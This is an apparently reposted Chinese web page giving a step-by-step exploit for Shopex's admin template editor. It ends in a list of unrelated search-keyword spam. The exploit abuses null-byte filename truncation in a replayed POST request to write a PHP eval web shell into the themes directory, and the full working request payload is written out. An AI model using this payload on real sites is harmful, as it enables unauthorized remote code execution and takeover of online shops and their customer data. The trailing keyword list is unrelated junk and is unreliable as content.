程序博客网 > 亿赛通数据泄露防护

Shopex 后台getshell

来源：互联网发布：亿赛通数据泄露防护编辑：程序博客网时间：2024/04/29 09:58

应为SHOPEX把GPC转义回来了
在模板编辑那里可以直接截断文件名，
代码就不贴了。利用方法

打开

./shopadmin/index.php#ctl=system/template&act=editor&p[0]=black&p[1]=index.html

随便点一个编辑

利用火狐插件

LIVE HTTP HEADER 抓包

点击replay

将post的内容改为

theme=purple&file=index(2).php%00.html&type=index(2)&file_name=&isbak=1&__=1&content=<?php eval($_POST[c])?>

点击repaly提交

然后./themes/purple/index(2).php 便是shell

亿赛通数据泄露防护

亿赛通数据泄露防护

原创粉丝点击

热门问题 老师的惩罚人脸识别我在镇武司摸鱼那些年重生之率土为王我在大康的咸鱼生活盘龙之生命进化天生仙种凡人之先天五行春回大明朝姑娘不必设防，我是瞎子辉夜大小柤想让我告白真人版夜大是什么意思辉夜大小姐想让我告白吧辉夜大小姐想让我告白真人版上海夜大学校上海夜大报名条件读夜大需要什么条件北京夜大有哪些学校夜大有哪些专业怎么报名夜大夜大是什么学校函授和夜大哪个好夜大要读多久初中生能上夜大吗夜大本科文凭有用吗上夜大的条件夜大什么时候报名电大和夜大的区别北京夜大报名条件夜大和函授的区别夜大怎么报名夜大本科有用吗夜大需要什么学历宁波夜大报名条件上海电大夜大哪个大学有夜大夜大考试难吗成人教育夜大夜大文凭有用吗夜大招生简章招生自考夜校报名条件全日制学历夜校是什么文凭成教和函授哪个好成人学历有用吗漯河夜校衢州夜校无锡夜校夜校是什么学校佛山夜校